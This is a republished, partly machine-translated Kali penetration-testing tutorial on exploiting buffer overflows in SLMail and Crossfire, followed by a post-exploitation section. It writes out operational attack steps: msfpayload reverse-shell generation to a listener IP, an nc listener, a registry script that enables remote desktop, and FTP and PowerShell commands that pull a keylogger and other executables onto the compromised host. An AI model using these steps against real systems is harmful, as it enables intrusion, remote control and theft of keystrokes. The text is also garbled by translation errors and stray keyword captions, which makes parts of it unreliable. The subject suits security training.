Home> System Tutorial> LINUX> body text

Linux Penetration Testing Tutorial: Teach you step-by-step on stack overflow from getting started to giving up

WBOY
Release: 2024-02-02 09:36:02
forward
455 people have browsed it

The content of the notes refers to the KaliLinux penetration testing tutorial by Teacher Yuan Fanghong of the Security Niu Classroom

The crux of all vulnerabilities comes from the input of data. The principle of buffer overflow is that the boundary between data and code is blurred. When the buffer boundary limit is not strict, the buffer will be damaged due to malformed data passed into the variable or program operation error. "Extremely violent", thereby covering the data in adjacent video memory areas, successfully changing the video memory data, which can lead to process kidnapping, execution of malicious code, and acquisition of server control.

To better understand the principle of buffer overflow, please refer to the article reprinted by the author:

Teach you step by step about stack overflow from getting started to giving up (Part 1)

Teach you step by step about stack overflow from getting started to giving up (Part 2)

Article Directory

1. Ways to discover vulnerabilities (1) Source code audit

Software developers may use social engineering and other methods to obtain the source code for review and debugging. The conditions are strict and the source code is usually unavailable.

(2) Reverse Engineering (ReverseEngineering)

Use reverse engineering to obtain assembly source code for analysis. Assembly code analysis requires a large workload and is difficult.

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(3) Fuzzing

is a way to discover software vulnerabilities by providing unexpected input to the target system and monitoring abnormal results. Generally, a valid input and random deviation are used to complete this, and software debugging tools (such as: ImmunityDebugger).

2. Fuzz testing process

First of all, we need to understand some security protection technologies for buffer overflow, because this protection mechanism needs to be avoided during the fuzz testing process.

(1)Windows

The test software is 'SLMail5.5.0MailServer', and its PASS command has a buffer overflow vulnerability. Basic idea: (Use ImmunityDebugger as debugging tool)

1. Use a python script to test whether the PASS command will overflow when it receives a large amount of data. Usually, if there is no overflow after 3000 characters, it means there should be no overflow vulnerability.

2. After discovering the overflow vulnerability, determine the address corresponding to the EIP. The basic methods are: binary method and unique string method. The unique string method can be generated with the metasploit script usr/share/metasploit-framework/tools/pattern_create.rb3000.

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3. Change the EIP to the video memory address corresponding to the Shellcode, write the Shellcode to the address space, the program reads the EIP register value, jumps to the shellcode code segment and executes it.

4. Through the debugging tool, we found that after the sent data fills the EIP, it will then fill the space pointed to by ESP, so we put the Shellcode at the location of ESP.

5. Determine the distance from the ESP address to the bottom of the stackLinux anti-buffer overflow, that is, the size of the Shellcode that can be stored. Use a python script to send data to the software for testing, and debug the software to see how much data is stored in the space pointed to by the ESP. The memory space view of modern computer system processes is shown in the figure:

Figure 1 Process memory space view

6. Due to the ASLR mechanism, the address of the function call stack changes randomly every time the software runs, so hard coding is not feasible. The alternative is to find the system module with a fixed address in the video memory, and find the address jump of the JMPESP instruction in the module. Then this command directly jumps to ESP, and then executes the shellcode. Use the mona.py script to identify the video memory module. Search for the module where "returnaddress" is the JMPESP command and find the system module that is not protected by DEP and ASLR mechanisms!monamodules. With the help of /usr/share/metasploit-framework/tools/nasm_shell.rb converts the assembly instruction jmpesp to two's complement to FFE4, and searches for the FFE4 instruction in the module!monafind-s "xffxe4"-mslmfc.dll. After finding the address of the instruction, Fill in the address into the EIPlinux version of qq, construct the Shellcode, and remove bad characters: /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT=443R|./msfencode-b"x00x0ax0d

Note: The payload selected when constructing the Shellcode is a reverse connection instead of a direct connection to bind. This can avoid the blocking strategy of the firewall.

7. Finally, enable port eavesdropping nc-vlp443. After the Shellcode is executed, exit the entire process using the ExitProcess method, which will cause the SMS service to crash. Slmail is a thread-based application. Applying the ExitThread method can prevent the entire service from crashing and achieve duplication. Overflow:/msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"

Note: Different types of programs, protocols, and vulnerabilities will consider individual characters to be bad characters. Those characters have fixed uses, so bad characters cannot appear in the return address, Shellcode, or buffer. Send 0x00-0xff256 characters and find all bad characters. Bad characters can be encoded with the help of metasploit script ./msfencode.

8. If you want to further control the attack target, you can open the remote desktop by changing the registry. More than 90% of the configurations in Windows can be completed by changing the registry:

echo Windows Registry Editor Version 5.00>3389.reg echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg
Copy after login

(2)Linux

The test software is 'Crossfire', and 1.9.0 has a buffer overflow vulnerability when accepting inbound socket connections. The basic idea is the same as Windows Fuzzing (edb is used as debugging tool), so I won’t go into details. You need to pay attention to the following points:

1. Debug command: edb--run/usr/games/crossfire/bin/crossfire

2. When verifying the buffer overflow, we found that only when the payload is fixed at 4368 bytes, the value of EIP can be accurately covered. In this way, the space pointed to by ESP only has 7 bytes left, which is not enough to put down the Shellcode, so we searched it in edb. The register that can be completely covered by data finds EAX, so as a workaround, ESP jumps to EAX to execute Shellcode.

3. Select and change EXP

There are help codes (EXP) for various software vulnerabilities that have been published for a long time on the Internet. We can choose a trustworthy EXP source and conduct research or changes on this basis, especially Shellcode cannot easily uselinux anti-buffer Overflowmay contain viruses. When using Linux systems, programming languages that need to be mastered generally include Python, C, C, Ruby, etc. Several reliable EXP sources:

After receiving EXP, you need to pay attention to the following points:

4. Post-vulnerability stage

Includes further operations such as uploading tools, elevating privileges, erasing attack traces, and installing side doors. Only file upload operations are discussed here. File upload is the basis for pre-installing Trojans and installing side doors. It is mainly based on the obtained information about the target operating system. shell, perform file upload operations.

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

apt-get install vsftpd #Linux中ftp服务有很多,这里使用vsftpd vim /etc/vsftpd/vsftpd.conf#配置vsftpd服务,这里采用系统用户登录的方式 #添加配置 local_root=/home/ftpduser/ #系统用户登录后的主目录 #可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/  #对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容 chroot_local_user=YES #该值为YES时,所有用户只能限制在其主目录下访问 chroot_list_enable=NO#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。 chroot_list_file=/etc/vsftpd.chroot_list #如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录 userlist_deny=NO #该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器 userlist_enable=YES#/etc/vsftpd/user_list文件有效 echo ftpduser1 >> /etc/vsftpd/user_list#这个文件禁止或允许使用vsftpd的用户列表文件 #!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效 mkdir /home/ftpduser useradd -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1 service vsftpd start
Copy after login

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

echo open 192.168.1.2 21>ftp.txt echo ftpduser1>>ftp.txt echo passw0rd>>ftp.txt echo bin>>ftp.txt echo GET whoami.exe>>ftp.txt echo GET klogger.exe>>ftp.txt echo bye>>ftp.txt ftp -s:ftp.txt
Copy after login

(2)使用powershell传输文件

echo $storageDir = $pwd $webclient = New-Object System.Net.WebClient $url = "http://192.168.1.2/whoami.exe" $file = "new-exploit.exe" $webclient.DownloadFile($url.$file) powershell.exe -ExecutionPolicy Bypass -Nologo -NonInteractive -Noprofile -File wget.ps1
Copy after login

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

The above is the detailed content of Linux Penetration Testing Tutorial: Teach you step-by-step on stack overflow from getting started to giving up. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:itcool.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!